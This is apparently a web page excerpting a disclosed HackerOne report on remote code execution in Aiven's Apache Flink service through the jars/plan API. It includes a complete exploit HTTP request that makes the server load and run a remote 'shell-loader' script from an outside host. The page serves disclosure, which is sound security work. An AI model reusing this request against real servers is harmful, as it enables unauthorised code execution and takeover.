Apache Flink RCE via GET jar/plan API Endpoint
该报告还没有中文解读。
原文摘录
摘自原文(2068 字符中的一小部分)
Aiven has not restricted access to the GET `jars/{jar_id}/plan` API. This endpoint can be used to load java class files with the specified arguments that are in the java classpath on the server. This can be abused to gain RCE on the Apache Flink Server.原文中的代码
GET /jars/145df7ff-c71a-4f3a-b77a-ee4055b1bede_a.jar/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://fs.bugbounty.jarijaas.fi/aiven-flink/shell-loader.js")¶llelism=1 HTTP/1.1
Host: ████
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Authorization: …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Aiven Ltd 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @jarij · 版权归作者与 Aiven Ltd 所有